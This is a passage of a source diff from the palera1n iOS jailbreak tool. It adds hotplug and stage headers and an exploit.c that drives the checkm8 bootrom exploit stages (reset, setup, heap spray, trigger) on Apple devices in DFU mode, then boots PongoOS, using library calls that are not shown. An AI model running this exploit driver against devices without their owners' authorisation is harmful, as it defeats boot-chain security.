* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
|
#ifndef MAIN__HOTPLUG_HPP
|
||||||
|
#define MAIN__HOTPLUG_HPP
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
# include <IOKit/IOKitLib.h>
|
||||||
|
# include <IOKit/IOCFPlugIn.h>
|
||||||
|
# include <IOKit/usb/IOUSBLib.h>
|
||||||
|
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||||
|
# include <libusb-1.0/libusb.h>
|
||||||
|
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||||
|
# include <liteusb.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
HOTPLUG_EVENT_DFU_ADD,
|
||||||
|
HOTPLUG_EVENT_DFU_REMOVE,
|
||||||
|
HOTPLUG_EVENT_RECOVERY_ADD,
|
||||||
|
HOTPLUG_EVENT_RECOVERY_REMOVE
|
||||||
|
} hotplug_event_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
#ifdef __APPLE__
|
||||||
|
io_service_t serv;
|
||||||
|
IOUSBDeviceInterface320 **device;
|
||||||
|
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||||
|
libusb_device *serv;
|
||||||
|
libusb_device_handle *device;
|
||||||
|
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||||
|
liteusb_handle_t *handle;
|
||||||
|
#endif
|
||||||
|
} hotplug_handle_t;
|
||||||
|
|
||||||
|
typedef void (*hotplug_callback_t)(hotplug_event_t event, hotplug_handle_t handle);
|
||||||
|
|
||||||
|
bool start_hotplug_monitoring(hotplug_callback_t callback);
|
||||||
|
void stop_hotplug_monitoring(void);
|
||||||
|
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen);
|
||||||
|
void exit_recovery(hotplug_handle_t handle);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // MAIN__HOTPLUG_HPP
|
||||||
|
|
||||||
|
#endif // WITH_GUI || WITH_TUI
|
||||||
+389
@@ -0,0 +1,389 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "exploit.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdatomic.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "globals.h"
|
||||||
|
#include "paleinfo.h"
|
||||||
|
#include "pongo_helper.h"
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
# include <ciderra1n/log.h>
|
||||||
|
# include <ciderra1n/common.h>
|
||||||
|
# include <ciderra1n/usb.h>
|
||||||
|
# include <ciderra1n/ra1n.h>
|
||||||
|
# include <ciderra1n/dfu.h>
|
||||||
|
#else
|
||||||
|
# include <openra1n/utils.h>
|
||||||
|
# include <openra1n/checkm8.h>
|
||||||
|
# include <openra1n/dfu.h>
|
||||||
|
# include <openra1n/payload.h>
|
||||||
|
# include <openra1n/shim.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define VID_APPLE (0x5AC)
|
||||||
|
#define PID_PONGO (0x4141)
|
||||||
|
#define PID_DFU (0x1227)
|
||||||
|
|
||||||
|
const char* stage_to_string(int stage)
|
||||||
|
{
|
||||||
|
switch (stage) {
|
||||||
|
case STAGE_SETUP: return "Checking if device is ready...";
|
||||||
|
case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)...";
|
||||||
|
case STAGE_PATCH: return "Right before trigger (this is the real bug setup)...";
|
||||||
|
case STAGE_YOLODFU: return "Booting PongoOS...";
|
||||||
|
case STAGE_PONGO: return "Booting...";
|
||||||
|
case STAGE_DONE: return "Done!";
|
||||||
|
default: return "Waiting...";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int stage_to_progress(int stage)
|
||||||
|
{
|
||||||
|
switch (stage) {
|
||||||
|
case STAGE_SETUP: return 30;
|
||||||
|
case STAGE_SPRAY: return 40;
|
||||||
|
case STAGE_PATCH: return 50;
|
||||||
|
case STAGE_YOLODFU: return 60;
|
||||||
|
case STAGE_PONGO: return 70;
|
||||||
|
case STAGE_DONE: return 100;
|
||||||
|
default: return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* err_to_string(int err) {
|
||||||
|
switch (err) {
|
||||||
|
case 0: return "";
|
||||||
|
case 1: return "-p1_client_err_abort_success";
|
||||||
|
case 2: return "-p1_client_err_unsupported";
|
||||||
|
case 3: return "-p1_client_err_response_size";
|
||||||
|
case 4: return "-p1_client_err_abort";
|
||||||
|
case 5: return "-p1_client_err_timeout";
|
||||||
|
case 6: return "-p1_client_err_pipe_stalled";
|
||||||
|
case 7: return "-p1_client_err_no_device";
|
||||||
|
case 8: return "-p1_client_err_notresponding";
|
||||||
|
case 9: return "-p1_client_err_invalid_response";
|
||||||
|
case 10: return "-p1_client_err_async_download_failed";
|
||||||
|
case 11: return "-p1_client_err_transaction_abort_failed";
|
||||||
|
case 12: return "-p1_client_err_status";
|
||||||
|
case 13: return "-p1_client_err_not_dfu_idle";
|
||||||
|
case 14: return "-p1_client_err_no_stage1_generator";
|
||||||
|
case 15: return "-p1_client_err_invalid_payload";
|
||||||
|
case 16: return "-p1_client_err_no_image";
|
||||||
|
case 17: return "-p1_client_err_not_dfu";
|
||||||
|
case 18: return "-p1_client_err_soft_dfu";
|
||||||
|
case 19: return "-p1_client_err_cnt_overflow";
|
||||||
|
default: return "-p1_client_err_undefined";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
|
||||||
|
int exploit(int *stage)
|
||||||
|
{
|
||||||
|
LOG("Waiting for devices...");
|
||||||
|
|
||||||
|
*stage = STAGE_RESET;
|
||||||
|
|
||||||
|
client_t* client = NULL;
|
||||||
|
if (!alloc_usb_client(&client)) {
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
return RA1N_CLIENT_ERR_UNDEFINED;
|
||||||
|
}
|
||||||
|
|
||||||
|
ra1n_client_err_t cr = RA1N_CLIENT_ERR_NONE;
|
||||||
|
|
||||||
|
uint32_t flag = 0;
|
||||||
|
uint16_t cpid = 0;
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
if (usb_open(client) != 0) {
|
||||||
|
// no usb device
|
||||||
|
// slight delay is required for AMD
|
||||||
|
usleep(500000);
|
||||||
|
goto reloop;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!usb_get_client_flag(client, &flag))
|
||||||
|
goto reloop;
|
||||||
|
|
||||||
|
if (flag & kDeviceDFUModeFlag) {
|
||||||
|
if (flag & kDeviceStandardPwnedDFUModeFlag) {
|
||||||
|
LOG_ERROR("Found an unknown pwned DFU mode device");
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
continue; // err
|
||||||
|
}
|
||||||
|
|
||||||
|
if (flag & kDevicePwnedDFUModeFlag) {
|
||||||
|
LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode.");
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
continue; // err
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!(flag & kDeviceNotSoftDFUModeFlag)) {
|
||||||
|
LOG_ERROR("Found soft-DFU mode device");
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Found DFU mode device");
|
||||||
|
|
||||||
|
if (*stage == STAGE_RESET) {
|
||||||
|
cr = ra1n_stage_reset(client);
|
||||||
|
if (cr == RA1N_CLIENT_ERR_NONE || cr == RA1N_CLIENT_ERR_ABORT_SUCCESS || cr == RA1N_CLIENT_ERR_NOTRESPONDING) {
|
||||||
|
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||||
|
usb_close(client);
|
||||||
|
if (cr == RA1N_CLIENT_ERR_NONE) { // success
|
||||||
|
*stage = STAGE_SETUP;
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
} else if (*stage == STAGE_SETUP) {
|
||||||
|
cr = ra1n_stage_setup(client);
|
||||||
|
if (cr == RA1N_CLIENT_ERR_NONE) { // success
|
||||||
|
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_PATCH;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
} else if (*stage == STAGE_PATCH) {
|
||||||
|
cr = ra1n_stage_trigger(client, NULL);
|
||||||
|
if (cr == RA1N_CLIENT_ERR_NONE) { // exploited
|
||||||
|
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_YOLODFU;
|
||||||
|
LOG("Checkmate?");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
} else if (*stage == STAGE_YOLODFU) {
|
||||||
|
LOG_ERROR("STAGE_YOLODFU failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
} else if (flag & kDeviceYoloDFUModeFlag) {
|
||||||
|
LOG("Found download mode device");
|
||||||
|
|
||||||
|
*stage = STAGE_YOLODFU;
|
||||||
|
cr = send_compressed_pongo(client, g_payload_pongo.data, g_payload_pongo.data_len); // yoloDFU -> pongoOS
|
||||||
|
if (cr == RA1N_CLIENT_ERR_NONE) {
|
||||||
|
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
|
||||||
|
usb_close(client); // success
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
} else if (flag & kDevicePongoModeFlag) {
|
||||||
|
LOG("Found pongo mode device");
|
||||||
|
|
||||||
|
if (palerain_flags & palerain_option_pongo_exit) {
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_DONE;
|
||||||
|
break; // success
|
||||||
|
} else {
|
||||||
|
LOG("Booting...");
|
||||||
|
cr = send_full_pongo_jailbreak(client);
|
||||||
|
if (cr != RA1N_CLIENT_ERR_NONE) {
|
||||||
|
LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
}
|
||||||
|
*stage = STAGE_DONE;
|
||||||
|
break; // success
|
||||||
|
}
|
||||||
|
|
||||||
|
usb_close(client);
|
||||||
|
continue;
|
||||||
|
} else {
|
||||||
|
LOG_ERROR("Found unknown device");
|
||||||
|
usb_close(client);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
break; // err
|
||||||
|
}
|
||||||
|
|
||||||
|
reloop:
|
||||||
|
usb_close(client);
|
||||||
|
}
|
||||||
|
|
||||||
|
return cr;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else // WITH_CIDERRAIN
|
||||||
|
|
||||||
|
int exploit(int *stage)
|
||||||
|
{
|
||||||
|
LOG("Waiting for devices...");
|
||||||
|
|
||||||
|
struct DeviceConfiguration deviceConfig;
|
||||||
|
struct PayloadConfiguration payloadConfig;
|
||||||
|
|
||||||
|
*stage = STAGE_RESET;
|
||||||
|
checkm8_err_t cr = CHECKM8_ERR_NONE;
|
||||||
|
|
||||||
|
usb_handle_t dfuHandle;
|
||||||
|
usb_handle_t pongoHandle;
|
||||||
|
|
||||||
|
init_usb_handle(&dfuHandle, VID_APPLE, PID_DFU);
|
||||||
|
init_usb_handle(&pongoHandle, VID_APPLE, PID_PONGO);
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
if (wait_usb_handle(&pongoHandle)) {
|
||||||
|
LOG("Found pongo mode device");
|
||||||
|
*stage = STAGE_PONGO;
|
||||||
|
|
||||||
|
cr = send_full_pongo_jailbreak(&pongoHandle);
|
||||||
|
if (cr != CHECKM8_ERR_NONE) {
|
||||||
|
LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
*stage = STAGE_DONE;
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (wait_usb_handle(&dfuHandle)) {
|
||||||
|
char *sn = get_usb_serial_number(&dfuHandle);
|
||||||
|
if (!sn) goto reloop;
|
||||||
|
|
||||||
|
uint64_t cpid = dfu_serial_number_get_cpid(sn);
|
||||||
|
if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig) ||
|
||||||
|
!checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig))
|
||||||
|
{
|
||||||
|
free(sn);
|
||||||
|
goto reloop;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dfu_serial_number_is_pwned(sn)) {
|
||||||
|
LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode.");
|
||||||
|
free(sn);
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dfu_serial_number_is_in_dfu_mode(sn)) {
|
||||||
|
LOG("Found DFU mode device");
|
||||||
|
} else if (dfu_serial_number_is_in_yolo_dfu(sn)) {
|
||||||
|
LOG("Found download mode device");
|
||||||
|
*stage = STAGE_YOLODFU;
|
||||||
|
} else {
|
||||||
|
free(sn);
|
||||||
|
goto reloop;
|
||||||
|
}
|
||||||
|
|
||||||
|
free(sn);
|
||||||
|
|
||||||
|
switch (*stage) {
|
||||||
|
case STAGE_RESET:
|
||||||
|
cr = checkm8_stage_reset(&dfuHandle);
|
||||||
|
if (cr != CHECKM8_ERR_NONE) { // err
|
||||||
|
LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
*stage = STAGE_RESET;
|
||||||
|
goto reloop;
|
||||||
|
}
|
||||||
|
|
||||||
|
*stage = STAGE_SETUP;
|
||||||
|
goto reloop; // success
|
||||||
|
case STAGE_SETUP:
|
||||||
|
cr = checkm8_stage_setup(&dfuHandle, &deviceConfig);
|
||||||
|
if (cr != CHECKM8_ERR_NONE) { // err
|
||||||
|
LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
*stage = STAGE_RESET;
|
||||||
|
goto reloop;
|
||||||
|
}
|
||||||
|
*stage = STAGE_SPRAY;
|
||||||
|
goto reloop;
|
||||||
|
case STAGE_SPRAY:
|
||||||
|
cr = checkm8_stage_spray(&dfuHandle, &deviceConfig);
|
||||||
|
if (cr != CHECKM8_ERR_NONE) { // err
|
||||||
|
LOG_ERROR("STAGE_SPRAY failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
*stage = STAGE_RESET;
|
||||||
|
goto reloop;
|
||||||
|
}
|
||||||
|
|
||||||
|
*stage = STAGE_PATCH;
|
||||||
|
goto reloop; // success
|
||||||
|
case STAGE_PATCH:
|
||||||
|
cr = checkm8_stage_patch(&dfuHandle, &deviceConfig, &payloadConfig);
|
||||||
|
if (cr != CHECKM8_ERR_NONE) // err
|
||||||
|
LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
|
||||||
|
*stage = STAGE_RESET;
|
||||||
|
LOG("Checkmate?");
|
||||||
|
goto reloop; // success
|
||||||
|
case STAGE_YOLODFU:
|
||||||
|
cr = send_compressed_pongo(&dfuHandle, g_payload_pongo.data, g_payload_pongo.data_len);
|
||||||
|
if (cr != CHECKM8_ERR_NONE) {
|
||||||
|
LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr));
|
||||||
|
*stage = STAGE_ERROR;
|
||||||
|
goto cleanup; // err
|
||||||
|
};
|
||||||
|
|
||||||
|
continue; // success
|
||||||
|
}
|
||||||
|
|
||||||
|
reloop:
|
||||||
|
reset_usb_handle(&dfuHandle);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanup:
|
||||||
|
close_usb_handle(&dfuHandle);
|
||||||
|
close_usb_handle(&pongoHandle);
|
||||||
|
return cr;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // WITH_CIDERRAIN
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef RUN_H
|
||||||
|
#define RUN_H
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
#include <atomic>
|
||||||
|
using std::atomic_int;
|
||||||
|
using std::atomic_bool;
|
||||||
|
extern "C" {
|
||||||
|
#else
|
||||||
|
#include <stdatomic.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
enum exploit_stage_t {
|
||||||
|
STAGE_RESET = 0,
|
||||||
|
STAGE_SETUP = 1,
|
||||||
|
STAGE_SPRAY = 2,
|
||||||
|
STAGE_PATCH = 3,
|
||||||
|
STAGE_YOLODFU = 4,
|
||||||
|
STAGE_PONGO = 5,
|
||||||
|
STAGE_DONE = 6,
|
||||||
|
STAGE_ERROR = 7,
|
||||||
|
};
|
||||||
|
|
||||||
|
const char* stage_to_string(int stage);
|
||||||
|
int stage_to_progress(int stage);
|
||||||
|
const char* err_to_string(int err);
|
||||||
|
|
||||||
|
int exploit(int *stage);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // RUN_H
|
||||||
+52
-12
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#include "globals.h"
|
#include "globals.h"
|
||||||
|
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -8,49 +35,57 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
|
||||||
#if WITH_BINPACK
|
#if WITH_BINPACK
|
||||||
# include "gen/payloads/binpack.h"
|
# include "gen/embedded/binpack.h"
|
||||||
#endif
|
#endif
|
||||||
#if WITH_RAMDISK
|
#if WITH_RAMDISK
|
||||||
# include "gen/payloads/ramdisk.h"
|
# include "gen/embedded/ramdisk.h"
|
||||||
|
# include "gen/embedded/ramdisk-compressed.dmg.h"
|
||||||
#endif
|
#endif
|
||||||
#include "gen/payloads/Pongo.h"
|
#include "gen/embedded/Pongo.h"
|
||||||
#include "gen/payloads/checkra1n-kpf-pongo.h"
|
#include "gen/embedded/checkra1n-kpf-pongo.h"
|
||||||
|
#include "gen/embedded/checkra1n-kpf-pongo-compressed.h"
|
||||||
|
|
||||||
uint64_t palerain_flags = 0;
|
uint64_t palerain_flags = 0;
|
||||||
char boot_args[0x270] = { '\0' };
|
char boot_args[0x270] = { '\0' };
|
||||||
|
|
||||||
#if WITH_BINPACK
|
#if WITH_BINPACK
|
||||||
payload_t g_payload_overlay = {
|
payload_t g_payload_overlay = {
|
||||||
.data = payloads_binpack_dmg,
|
.data = embedded_binpack_dmg,
|
||||||
.data_len = payloads_binpack_dmg_len,
|
.data_len = embedded_binpack_dmg_len,
|
||||||
|
.uncompressed_data_len = 0,
|
||||||
};
|
};
|
||||||
#else
|
#else
|
||||||
payload_t g_payload_overlay = {
|
payload_t g_payload_overlay = {
|
||||||
.data = NULL,
|
.data = NULL,
|
||||||
.data_len = 0,
|
.data_len = 0,
|
||||||
|
.uncompressed_data_len = 0,
|
||||||
};
|
};
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#if WITH_RAMDISK
|
#if WITH_RAMDISK
|
||||||
payload_t g_payload_ramdisk = {
|
payload_t g_payload_ramdisk = {
|
||||||
.data = payloads_ramdisk_dmg,
|
.data = embedded_ramdisk_compressed_dmg_lzma,
|
||||||
.data_len = payloads_ramdisk_dmg_len,
|
.data_len = embedded_ramdisk_compressed_dmg_lzma_len,
|
||||||
|
.uncompressed_data_len = embedded_ramdisk_dmg_len,
|
||||||
};
|
};
|
||||||
#else
|
#else
|
||||||
payload_t g_payload_ramdisk = {
|
payload_t g_payload_ramdisk = {
|
||||||
.data = NULL,
|
.data = NULL,
|
||||||
.data_len = 0,
|
.data_len = 0,
|
||||||
|
.uncompressed_data_len = 0,
|
||||||
};
|
};
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
payload_t g_payload_pongo = {
|
payload_t g_payload_pongo = {
|
||||||
.data = payloads_Pongo_bin,
|
.data = embedded_Pongo_bin,
|
||||||
.data_len = payloads_Pongo_bin_len,
|
.data_len = embedded_Pongo_bin_len,
|
||||||
|
.uncompressed_data_len = 0,
|
||||||
};
|
};
|
||||||
|
|
||||||
payload_t g_payload_kpf = {
|
payload_t g_payload_kpf = {
|
||||||
.data = payloads_checkra1n_kpf_pongo,
|
.data = embedded_checkra1n_kpf_pongo_compressed_lzma,
|
||||||
.data_len = payloads_checkra1n_kpf_pongo_len,
|
.data_len = embedded_checkra1n_kpf_pongo_compressed_lzma_len,
|
||||||
|
.uncompressed_data_len = embedded_checkra1n_kpf_pongo_len,
|
||||||
};
|
};
|
||||||
|
|
||||||
bool override_payload_from_file(const char *path, payload_t *out)
|
bool override_payload_from_file(const char *path, payload_t *out)
|
||||||
@@ -86,6 +121,11 @@ bool override_payload_from_file(const char *path, payload_t *out)
|
|||||||
|
|
||||||
out->data = buf;
|
out->data = buf;
|
||||||
out->data_len = (size_t)len;
|
out->data_len = (size_t)len;
|
||||||
|
// assume overwritten file is uncompressed
|
||||||
|
// this ultimately determines if pongo should
|
||||||
|
// decompress these files. user provided
|
||||||
|
// files should not be compressed.
|
||||||
|
out->uncompressed_data_len = 0;
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
+31
-1
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
